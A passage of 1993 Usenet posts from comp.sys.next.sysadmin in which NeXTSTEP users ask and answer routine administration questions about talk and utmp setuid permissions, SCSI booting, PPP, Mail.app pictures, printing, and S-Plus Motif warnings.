From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: You don't exist. Go away Date: 25 Mar 1993 23:24:42 GMT Organization: Los Alamos National Laboratory, NM Message-ID: <1otevq$i9e@umd5.umd.edu> References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU> In article <1993Mar25.203409.7048@leland.Stanford.EDU> rick@indeed.stanford.edu (Rick Stanley Francis) writes: >I had this problem when I used steward instead of terminal, I believe that >the cause is that stuart doesn't use ttys while terminal does. [The question is, is that one post I haven't read yet by Scott Hess?] Stuart does too use ttys; it works with Unix and all. The problem is whatever program he was using (Stuart, Terminal, xterm...) could not update /etc/utmp. Put another way, it wasn't setuid. >-Rick Francis >rickf@leland.stanford.edu ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ It seems like the less a statesman amounts to, the more he loves the flag.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: tabs@netcom.com (Network Account) Subject: HELP - Booting 3.0 from a Fujitsu M2624F Message-ID: <tabsC4HF80.HKB@netcom.com> Followup-To: comp.sys.next.sysadmin Summary: SCSI Error - Cannot boot from Fujitsu M2624 NS3.0 Keywords: SCSI error, upgrade, Fujitsu Sender: tabs@netcom.com Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Fri, 26 Mar 1993 05:57:36 GMT Hi, We recently purchased a Fujistsu M2624F, 520 Mb external SCSI hard drive. We initially formatted it for 102k block size using formatter_1.2 It boots fine when built for NS2.1 but refuses to boot under NS3.0 The system refuses to boot with the message SCSI: unexpected msg: 1 sc: Unexpected msg I checked the old archives, and the document fujitsu.recipe. Is this problem caused by improper jumper settings on the fujitsu disk? I am not sure of the jumber settings to avoid synchronous transfer for the M2624. Has anyone had a similar problem before? Any help is appreciated. tabs (tabs@netcom.com)
From: kheit@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Making a 2.1 HD? Message-ID: <Mar.26.01.06.02.1993.5817@gandalf.rutgers.edu> Date: 26 Mar 93 06:06:03 GMT Followup-To: comp.sys.next.software Organization: Rutgers Univ., New Brunswick, N.J. This is real easy to do with 3.0 but I dont know how to do it with 2.1? I want to build a 2.1 user disk (not the extended). I have 2.1 on OD and wish to make the 105meg User version of NS onto an HD. Can this be done from an extended 2.1 OD? Thanks for any help. Later, John
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: You don't exist. Go away Date: 25 Mar 1993 22:36:11 -0000 Organization: me organized? That's a joke! Message-ID: <1otc4r$14e@steffi.demon.co.uk> References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU> its actually because you have incorrectly installed Stuart for those features. See the Stuart help in 2.4 for information on how to fix this. See trouble shooting. Hi Scott!! ~
Newsgroups: comp.sys.next.sysadmin From: zcardon@biosphere.Stanford.EDU (Zoe Cardon) Subject: S-Plus and co-Xist Message-ID: <1993Mar26.080408.22257@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Fri, 26 Mar 93 08:04:08 GMT We have just installed S-Plus on our NeXTs, but we are getting odd warning messages when running it under co-Xist. I have run S-Plus both in Motif windows (with the NeXTSTEP Window Manager not selected in the Preferences "rootless" options window) and in NeXTSTEP windows. In either case, when in S-Plus, if I type help.start(gui="motif") I get a huge list of warning messages, but eventually the help window does come up and is usable (it seems). A sample of the first few warning messages is included below: > help.start(gui="motif") Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing '<Key>osfActivate: ManagerGadgetSelect() ' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' <Key>osfSelect: ManagerGadgetSelect() ' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: ManagerGadgetHelp() ' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing '<Key>osfBeginLine: ManagerGadgetTraverseHome()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: ManagerGadgetTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: ManagerGadgetTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfLeft We already had installed the Motif window manager in co-Xist, but after having these troubles inside S-Plus, we also tried (after communicating with S-Plus support people) using the optional ./SETUP script supplied by S-Plus to enable Motif window use. Among other things, this script alters /usr/lib/X11/XKeysymDB. I have compared the CoXist version with the SPlus version, however, and the latter is a subset of the former. Do you have ideas as to what is wrong? Thank you Zoe G. Cardon Department of Biological Sciences Stanford University zcardon@biosphere.stanford.edu (NeXT mail preferred) +1 (415) 325-1521 x364
Newsgroups: comp.sys.next.sysadmin Subject: Re: You don't exist. Go away Message-ID: <SCOTT.93Mar26023227@nic.gac.edu> From: scott@nic.gac.edu (Scott Hess) Date: 26 Mar 93 02:32:27 References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU> Distribution: world Organization: Is a sign of weakness In-reply-to: rick@indeed.stanford.edu's message of Thu, 25 Mar 93 20:34:09 GMT In article <1993Mar25.203409.7048@leland.Stanford.EDU>, rick@indeed.stanford.edu (Rick Stanley Francis) writes: >In article <1993Mar25.174425.17860@ens.fr>, > dicosmo@dmi.ens.fr (Roberto DiCosmo) writes: >> Sorry to bug you people with this annoying problem. >> We have several NeXT here, and on some of them when you try >> to talk to somebody you just get: >> >> You don't exist. Go away. > >I had this problem when I used steward instead of terminal, I believe >that the cause is that stuart doesn't use ttys while terminal does. No! No, no, no, noooo! [Sorry to sound annoyed, but this is one of the most frequent Stuart complaints, so frequent that I added an online manual section, "Trouble Shooting/talk Isn't Working", which explains the problem and how to fix it. The annoyance comes from the fact that this hasn't fixed the complaints, because most people apparently don't read the manual :-)] Stuart gets that problem because Stuart requires extra installation (I mean, installation beyond drag&drop). Terminal doesn't need to do this - because NeXT does it for you, at the factory. I don't have that option :-). The problem is that talk(1) requires that you have an /etc/utmp entry for your pty, and /etc/utmp is a file that isn't accessable to Joe User. Thus, if Joe User installs Stuart, talk(1) won't work. In Stuart's case, install the slog program per the documentation. If you are getting this problem from within Terminal, something deeper is at fault. If you execute "ls -l /NextApps/Terminal" (use /NextApps/Terminal.app/Terminal under NS3.0), you should get output like: -rwsr-xr-x 1 root wheel 155648 Oct 30 1990 /NextApps/Terminal* ^ ^^^^ If your output differs in the careted positions, then you have a problem. Somehow Terminal lost it's setuid priviledges. To fix it, as root do: chmod 4755 /NextApps/Terminal ; chown root.wheel /NextApps/Terminal More than likely there is a reason for this problem, though, so first figure out _why_ it's changed. Perhaps your sysadmin ran COPS and was advised to remove the setuid priviledges. In any case, there _are_ valid reasons why you might want to remove setuid privs (which is why I include source to slog, the setuid module Stuart needs to boink utmp). Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin From: aboba@netcom.com (Bernard Aboba) Subject: PPP under NeXT v3.0 Message-ID: <netnewsC4HoGy.57H@netcom.com> Keywords: PPP, NeXT Sender: netnews@netcom.com (USENET Administration) Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Fri, 26 Mar 1993 09:17:20 GMT Just wanted to thank many of you, (especially Mark Fausett) who helped me get PPP v.2 up under NeXT v3.0. I am running it as I am posting this. The problem was that while PPP v.2 won't compile under NeXT v3.0, executables compiled under v2.1 will run fine under 3.0. So with the executables provided to me by Mark, things are working just fine. So I think the thing to do is to create another archive for NeXT_PPP with the executables included, and a note informing people about the problem. NeXT PPP v.2 seems to perform quite well, so it would be a shame if it went to waste...
Newsgroups: comp.sys.next.sysadmin From: designimage!root (Operator) Subject: user tiffs under Mail.app Message-ID: <1993Mar26.072654.354@designimage.megalith.miami.fl.us> Sender: root@designimage.megalith.miami.fl.us (Operator) Organization: design image Date: Fri, 26 Mar 1993 07:26:54 GMT Hello out there! I am trying to set up the tiffs of remote people so that when I receive mail from them I can see their image in Mail's panel. I know that for local users I have to name the tiffs as "user.tiff"(ie, so that my tiff is dino.tiff). What about a person by the name of stimpy@foo.com? I've tried naming their tiff as: o stimpy.tiff o stimpy@foo.com.tiff Neither one has worked. Can this be done at all? Thanks in advance for any help you may provide, Dino Bagdadi design image NeXT email welcome: dino@designimage.megalith.miami.fl.us
Newsgroups: comp.sys.next.sysadmin From: designimage!root (Operator) Subject: setting up an index for Digital Librarian Message-ID: <1993Mar26.073127.465@designimage.megalith.miami.fl.us> Sender: root@designimage.megalith.miami.fl.us (Operator) Organization: design image Date: Fri, 26 Mar 1993 07:31:27 GMT Hello out there! I am trying to rebuild the index to my UNIX man pages (since I mistakenly deleted the one that came with 3.0). To my surprise, when I set up the index again, it only gave me the chapter number and command name as the title for each entry. I want to have each entry the way it was before: command name- description of command Can anyone tell me what the command line for this might be under NS 3.0? I noticed that it has changed from NS 2.1 to 3.0. Thank you for any help you may provide me with, Dino Bagdadi design image NeXT email welcome: dino@designimage.megalith.miami.fl.us
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: Code for login Date: 26 Mar 1993 13:17:08 GMT Organization: Michigan State University Message-ID: <1ouvok$g14@msuinfo.cl.msu.edu> Is the source code for "login" out there somewhere, or would modifying it be illegal. Respond via e-mail (preferred) or news. Thanks, Chris Penney penney@cl-next4.cl.msu.edu
From: steve@estel.uindy.edu (Steve Spicklemire) Newsgroups: comp.sys.next.sysadmin Subject: NFS mounting a PC running SOSS Date: 26 Mar 1993 13:22:31 GMT Organization: Truevision Inc., Indianapolis, IN Distribution: world Message-ID: <1ov02nINN7jf@epic.truevision.com> Keywords: SOSS, NFS Hi, Has anybody out there had much luck mounting a PC running SOSS from a NeXT? I can mount it using 'mount', but when I try double clicking on a file in the browser I get read errors of some kind (no file is ever opened). Is there something I'm missing? Does anyone have this working? (BTW I can seem to mount from an HP machine, and an SCO machine, so I *think* the SOSS end is pretty much sane.) thanks! -steve --------------------------< cut here >---------------------------- Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu Dept of Mathematics and Physics NeXTmail Welcome! 1400 East Hanna Avenue, 46227
Newsgroups: comp.sys.next.sysadmin From: jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn) Subject: How to make "lpr -d file.dvi" work Message-ID: <jwdb.733149386@dutnak2> Summary: lpr -d doesn't work even if TeX and dvips are installed Keywords: print tex dvi lpr filter Sender: news@dutrun2.tudelft.nl (UseNet News System) Organization: Delft University of Technology Date: Fri, 26 Mar 1993 12:36:26 GMT If I look in the man page for lpr(1), it mentions an option -d that allows one to print dvi files (as produced by tex). However, the command lpr -d file.dvi does absolutely nothing, not even produce an error message. I have TeX installed, and thus also dvips (in /usr/local/bin). I cannot quickly find out where to customize the various lpr/lpd scripts. Can someone point me to the right procedure to make this work? Thanks in advance for taking the trouble to answer, Jan-Willem -- Jan-Willem de Bruijn jwdb@dutnak2.tn.tudelft.nl Lab. of Seismics and Acoustics NeXT-mail: jwdb@delphi.tn.tudelft.nl Dep. of Applied Physics Discipline is never an end in itself, Delft University of Technology only a means to an end.
From: graessle@uthep6.ph.utexas.edu (Scott Graessle) Newsgroups: comp.sys.next.sysadmin Subject: Printing NeXTSTEP to remote Apple Laserwriter IIg Message-ID: <87201@ut-emx.uucp> Date: 26 Mar 93 14:52:51 GMT Sender: news@ut-emx.uucp We have recently been having problems with our Release-3.0 NeXTs trying to print to an Apple LaserWriter IIg attached to the serial port of a DecStation: (1) ``lpr ascii-file'' from the NeXT works fine; (2) sending a multi-page file of NeXT Display PostScript (via the ``Print...'' menu option) wedges on the 5th page or so. Even a 6-page print of a Terminal session will wedge the printer after page 4 or so. After I abort the decstation's lp daemon the message /usr/lib/lpd: lplw: Output filter to dev malfunctioned (0) is appended to the error log file /usr/adm/lp1err on the decstation. It does not seem to matter whether the printer type (ty entry) on the NeXTs is set to ``Apple LaserWriter IIg'' or ``PostScript'' or whether the printer options are checked in the Print... panel. -- Scott Graessle graessle@utaphy.ph.utexas.edu High Energy Physics RLM 5.208 The University of Texas at Austin Austin, TX 78712
Newsgroups: comp.sys.next.sysadmin From: dicosmo@dmi.ens.fr (Roberto DiCosmo) Subject: Re: You don't exist. Go away and AppleTalk Message-ID: <1993Mar26.181008.2333@ens.fr> Sender: news@ens.fr (USENET News System) Organization: Ecole Normale Superieure, PARIS, France References: <SCOTT.93Mar26023227@nic.gac.edu> Date: Fri, 26 Mar 93 18:10:08 GMT There is clearly no reason to summarize the answers, as the last post by Scott Hess is a little jewel in clarity, but let me just thank all of the people for the help. Next time I'll try to look more carefully at the manual before asking for help, but I would really like to suggest to put en entry on this in the FAQ, that is the first file I look at when I have a problem. By the way, I think there is also another thing that ought to go in the FAQ is related to AppleTalk. How many persons know that you cannot disconnect from a Macintosh (or other apple server) if its name contains blanks? This, I am sure, is not in the manual! To fix it, just replace the blanks with underscores :-) -- Roberto Di Cosmo <dicosmo@dmi.ens.fr> LIENS Ecole Normale Superieure 45, Rue d'Ulm 75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin From: jpowell@borg.lib.vt.edu (James Powell) Subject: data loss during telnet Message-ID: <1993Mar26.194056.8618@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: UNC Educational Computing Service Date: Fri, 26 Mar 1993 19:40:56 GMT I have a couple of users who login to my NeXT from a PC connected to the campus CBX (IBM phone/data system) at 9600 baud, using kermit. They connect to a terminal server which allows them to enter my internet name and connect to my machine. These users then telnet out to other sites. They interact with the remote system with no problem until they request data to be displayed locally, such as catting a file. Portions of the data are lost. Is there anything I can do? -- James Powell >>> Library Automation, University Libraries, VPI&SU >>> JPOWELL@VTVM1.CC.VT.EDU >>> jpowell@borg.lib.vt.edu - NeXTMail welcome here >>> Owner of VPIEJ-L, a discussion list for Electronic >>> Journals
From: shuque@microsupport.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: Re: user tiffs under Mail.app Message-ID: <116135@netnews.upenn.edu> Date: 26 Mar 93 18:40:15 GMT References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us> Sender: news@netnews.upenn.edu Organization: University of Pennsylvania In article <1993Mar26.072654.354@designimage.megalith.miami.fl.us> writes: >Hello out there! > >I am trying to set up the tiffs of remote people so that when I receive >mail from them I can see their image in Mail's panel. > >I know that for local users I have to name the tiffs as "user.tiff"(ie, so >that my tiff is dino.tiff). What about a person by the name of >stimpy@foo.com? > >I've tried naming their tiff as: > >o stimpy.tiff >o stimpy@foo.com.tiff > >Neither one has worked. Can this be done at all? > >Thanks in advance for any help you may provide, In order to make this work, you have to add a password entry for stimpy@foo.com in /LocalLibrary/Images/People/passwd Something like the following works: stimpy@foo.com::10000::.:noshell On a related note, I cannot get addresses with funny characters (specifically the underbar) in them to work. The most common is an address like those that come from NeXT, having the form: First_Last@next.com It seems, that if I follow the above procedure and have the corresponding tiff file, the mail picture does not show up. Can anyone confirm this? --Shumon.
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: NS2.1: Emacs and Gcc Wanted Message-ID: <1993Mar26.142704.4247@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 26 Mar 93 14:27:03 PST Could some kind soul please allow me to ftp the old *binary* version of NS 2.1 emacs and NS 2.1 gcc, please? I had to take a short step backwards, and my NS 3.0 emacs fails because it requires a 3.0 library. Help would be highly appreciated. /ivo welch
Newsgroups: comp.sys.next.sysadmin From: aoki@madonna (Ken-ichiro Aoki) Subject: NetInfoManager, Printer and NS3.0 Message-ID: <1993Mar26.160256.5376@mic.ucla.edu> Keywords: Netinfo, Local_printer, NS3.0 Date: 26 Mar 93 16:02:55 PST Fellow NeXTers, I have a question about NetInfo in NS3.0; When you use the NIManager, it seems that any user (who can run NIManager) can change the properties+values in the local printer directory. When you try to save, it does not anthenticate and just saves it. Is this a bug? Or did we just screw up and set up something wrong? We can certainly make NIManager 750 or 700 (together with all the /usr/bin/ni*) but I'd rather not do this unless it's necessary. Maybe I should'nt have posted since it could be a security hazard, but as far as I know, not a real disastrous one. (that is, doesn't apply to other folders like mounts!) Email gladly accepted; will summarize if there is enough interest. Sorry about the header being a bit screwed up. -- ___Kenichiro Aoki (aoki@physics.ucla.edu) Physics Dept,UCLA,Ca,USA. (Please note that the From: field might be screwed up if you are replying.)
From: lebay@mercury.cl.msu.edu (Jim LeBay) Newsgroups: comp.sys.next.sysadmin Subject: Re: New user mail Date: 27 Mar 1993 02:49:55 GMT Organization: Michigan State University Message-ID: <1p0fcj$s1d@msuinfo.cl.msu.edu> References: <1993Mar25.220725.2246@afs.com> Michael_Pizolato@afs.com writes > Where does the mail that a new user receives come from? If possible, > I'd like to add to it so it includes some site-specific information > that our new users should know. New account home directories are copies of /usr/template/user. So you could customize the Preferences, or .cshrc, or Mailboxes/Active.mbox. ----- Jim LeBay (517) 353-1800 353-5364 (FAX) Computer Information Center lebay@msu.edu lebay@msu.bitnet Michigan State University lebay@mercury.cl.msu.edu (NeXTmail) *=*=* I feel better than James Brown! *=*=*
From: lebay@mercury.cl.msu.edu (Jim LeBay) Newsgroups: comp.sys.next.sysadmin Subject: Re: SoftPC/Serial Port Question Date: 27 Mar 1993 02:55:22 GMT Organization: Michigan State University Message-ID: <1p0fmq$m1b@msuinfo.cl.msu.edu> References: <1993Mar22.192844.4090@Princeton.EDU> Gerard Philippe Menos writes > We installed a PC-based asynchronous communications program in the > SoftPC environment, and used it successfully for a couple of days. > However, it has stopped working on the comm port we'd originally > selected and configured. SoftPC generates the following message (and > no longer allows us to use /dev/ttyb): > > "Device used by Comms adapter could not be accessed. Check > permissions. Comz = /dev/ttyb" > > What does this message really mean? > > As far as I can tell, the permissions seem fine (at least, they are no > different than the permissions on /dev/ttya, which we are now using > for the serial port). Even though we've got things working on the > second serial port, we would like to know why the first port is not > available and make it available for another application. > > Any help appreciated, > Phil > -- > G. Philippe Menos > gpmenos@firestone.princeton.edu [NeXTmail OK.] > Systems Administrator, Princeton University Libraries > voice: 609-258-5183 fax: 609-258-5571 Have you tried rebooting? Sometimes the serial ports get hung until you reboot. ----- Jim LeBay (517) 353-1800 353-5364 (FAX) Computer Information Center lebay@msu.edu lebay@msu.bitnet Michigan State University lebay@mercury.cl.msu.edu (NeXTmail) *=*=* I feel better than James Brown! *=*=*
Newsgroups: comp.sys.next.sysadmin From: jfb@langoz.biomath.jussieu.fr (BOISVIEUX Jean-Francois) Subject: Re: S-Plus and co-Xist Message-ID: <1993Mar27.081923.24083@jussieu.fr> Sender: news@jussieu.fr (Le Facteur) Organization: Universite Paris VI/Paris VII References: <1993Mar26.080408.22257@leland.Stanford.EDU> Date: Sat, 27 Mar 1993 08:19:23 GMT In article <1993Mar26.080408.22257@leland.Stanford.EDU> zcardon@biosphere.Stanford.EDU (Zoe Cardon) writes: > We have just installed S-Plus on our NeXTs, but we are getting odd warning > messages when running it under co-Xist. I have run S-Plus both in Motif > windows (with the NeXTSTEP Window Manager not selected in the Preferences > "rootless" options window) and in NeXTSTEP windows. In either case, when > in S-Plus, if I type > > help.start(gui="motif") > > I get a huge list of warning messages, but eventually the help window does > come up and is usable (it seems). A sample of the first few warning > messages is included below: > > > > help.start(gui="motif") > Warning: translation table syntax error: Unknown keysym name: osfActivate > Warning: ... found while parsing '<Key>osfActivate: > ManagerGadgetSelect() ' > Warning: translation table syntax error: Unknown keysym name: osfSelect > Warning: ... found while parsing ' <Key>osfSelect: > ManagerGadgetSelect() ' > Warning: translation table syntax error: Unknown keysym name: osfHelp > Warning: ... found while parsing ' <Key>osfHelp: > ManagerGadgetHelp() ' > Warning: translation table syntax error: Unknown keysym name: osfBeginLine > Warning: ... found while parsing '<Key>osfBeginLine: > ManagerGadgetTraverseHome()' > Warning: translation table syntax error: Unknown keysym name: osfUp > Warning: ... found while parsing ' <Key>osfUp: > ManagerGadgetTraverseUp()' > Warning: translation table syntax error: Unknown keysym name: osfDown > Warning: ... found while parsing ' <Key>osfDown: > ManagerGadgetTraverseDown()' > Warning: translation table syntax error: Unknown keysym name: osfLeft > > > > We already had installed the Motif window manager in co-Xist, but after > having these troubles inside S-Plus, we also tried (after communicating > with S-Plus support people) using the optional ./SETUP script supplied by > S-Plus to enable Motif window use. > > Among other things, this script alters /usr/lib/X11/XKeysymDB. I have > compared the CoXist version with the SPlus version, however, and the > latter is a subset of the former. > > Do you have ideas as to what is wrong? > > Thank you > > > Zoe G. Cardon > Department of Biological Sciences > Stanford University > zcardon@biosphere.stanford.edu (NeXT mail preferred) > +1 (415) 325-1521 x364 > using CubX and Splus I have the same sort of warnings too in the same conditions : S-PLUS : Copyright (c) 1988, 1992 Statistical Sciences, Inc. S : Copyright AT&T. Version 3.0 Release 1 for NeXT : 1992 Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing '<Key>osfActivate: ManagerGadgetSelect() ' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing ' <Key>osfSelect: ManagerGadgetSelect() ' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: ManagerGadgetHelp() ' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing '<Key>osfBeginLine: ManagerGadgetTraverseHome()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: ManagerGadgetTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: ManagerGadgetTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: ManagerGadgetTraverseLeft()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: ManagerGadgetTraverseRight()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing 'Ctrl <Key>osfBeginLine: SWTopLine()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' <Key>osfBeginLine: SWBeginLine()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Ctrl <Key>osfEndLine: SWBottomLine()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' <Key>osfEndLine: SWEndLine()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' Ctrl <Key>osfPageUp: SWLeftPage()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' Ctrl <Key>osfPageDown: SWRightPage()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' <Key>osfPageUp: SWUpPage()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' <Key>osfPageDown: SWDownPage()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: ManagerGadgetHelp()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: ManagerGadgetTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: ManagerGadgetTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: ManagerGadgetTraverseLeft()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: ManagerGadgetTraverseRight()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: ManagerGadgetSelect()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: ManagerGadgetSelect()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfCancel Warning: ... found while parsing ' <Key>osfCancel: MenuGadgetEscape()' Warning: translation table syntax error: Unknown keysym name: osfSelect Warning: ... found while parsing '<Key>osfSelect: ManagerGadgetSelect()' Warning: translation table syntax error: Unknown keysym name: osfActivate Warning: ... found while parsing ' <Key>osfActivate: ManagerGadgetSelect()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing '<Key>osfHelp: Help()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: MenuGadgetTraverseLeft()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: MenuGadgetTraverseRight()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: MenuGadgetTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: MenuGadgetTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing '<Key>osfBeginLine: PrimitiveTraverseHome()' Warning: translation table syntax error: Unknown keysym name: osfHelp Warning: ... found while parsing ' <Key>osfHelp: PrimitiveHelp()' Warning: translation table syntax error: Unknown keysym name: osfUp Warning: ... found while parsing ' <Key>osfUp: PrimitiveTraverseUp()' Warning: translation table syntax error: Unknown keysym name: osfDown Warning: ... found while parsing ' <Key>osfDown: PrimitiveTraverseDown()' Warning: translation table syntax error: Unknown keysym name: osfLeft Warning: ... found while parsing ' <Key>osfLeft: PrimitiveTraverseLeft()' Warning: translation table syntax error: Unknown keysym name: osfRight Warning: ... found while parsing ' <Key>osfRight: PrimitiveTraverseRight()' Warning: translation table syntax error: Unknown keysym name: osfQuickPaste Warning: ... found while parsing 'Shift<Key>osfQuickPaste: do-quick-action()' Warning: translation table syntax error: Unknown keysym name: osfQuickPaste Warning: ... found while parsing ' Meta <Key>osfQuickPaste: quick-cut-set()' Warning: translation table syntax error: Unknown keysym name: osfQuickPaste Warning: ... found while parsing ' Alt <Key>osfQuickPaste: quick-cut-set()' Warning: translation table syntax error: Unknown keysym name: osfQuickPaste Warning: ... found while parsing ' <Key>osfQuickPaste: quick-copy-set()' Warning: translation table syntax error: Unknown keysym name: osfPrimaryPaste Warning: ... found while parsing ' Meta <Key>osfPrimaryPaste: cut-primary()' Warning: translation table syntax error: Unknown keysym name: osfPrimaryPaste Warning: ... found while parsing ' Alt <Key>osfPrimaryPaste: cut-primary()' Warning: translation table syntax error: Unknown keysym name: osfPrimaryPaste Warning: ... found while parsing ' <Key>osfPrimaryPaste: copy-primary()' Warning: translation table syntax error: Unknown keysym name: osfCut Warning: ... found while parsing ' Meta <Key>osfCut: cut-primary()' Warning: translation table syntax error: Unknown keysym name: osfCut Warning: ... found while parsing ' Alt <Key>osfCut: cut-primary()' Warning: translation table syntax error: Unknown keysym name: osfCut Warning: ... found while parsing ' <Key>osfCut: cut-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfPaste Warning: ... found while parsing ' <Key>osfPaste: paste-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfCopy Warning: ... found while parsing ' Meta <Key>osfCopy: copy-primary()' Warning: translation table syntax error: Unknown keysym name: osfCopy Warning: ... found while parsing ' Alt <Key>osfCopy: copy-primary()' Warning: translation table syntax error: Unknown keysym name: osfCopy Warning: ... found while parsing ' <Key>osfCopy: copy-clipboard()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' Shift Ctrl <Key>osfBeginLine: beginning-of-file(extend)' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' Ctrl <Key>osfBeginLine: beginning-of-file()' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' Shift <Key>osfBeginLine: beginning-of-line(extend)' Warning: translation table syntax error: Unknown keysym name: osfBeginLine Warning: ... found while parsing ' <Key>osfBeginLine: beginning-of-line()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Shift Ctrl <Key>osfEndLine: end-of-file(extend)' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Ctrl <Key>osfEndLine: end-of-file()' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' Shift <Key>osfEndLine: end-of-line(extend)' Warning: translation table syntax error: Unknown keysym name: osfEndLine Warning: ... found while parsing ' <Key>osfEndLine: end-of-line()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' Ctrl <Key>osfPageUp: page-left()' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' Shift <Key>osfPageUp: previous-page(extend)' Warning: translation table syntax error: Unknown keysym name: osfPageUp Warning: ... found while parsing ' <Key>osfPageUp: previous-page()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' Ctrl <Key>osfPageDown: page-right()' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' Shift <Key>osfPageDown: next-page(extend)' Warning: translation table syntax error: Unknown keysym name: osfPageDown Warning: ... found while parsing ' <Key>osfPageDown: next-page()' Warning: translation table syntax error: Unknown keysym name: osfClear Warning: ... found while parsing ' <Key>osfClear: clear-selection()' Warning: translation table syntax error: Unknown keysym name: osfBackSpace Warning: ... found while parsing ' ~Meta ~Alt <Key>osfBackSpace: delete-previous-character()' Warning: translation table syntax error: Unknown keysym name: osfDelete Warning: ... found while parsing ' Shift Meta<Key>osfDelete: cut-primary()' Warning: translation table syntax error: Unknown keysym 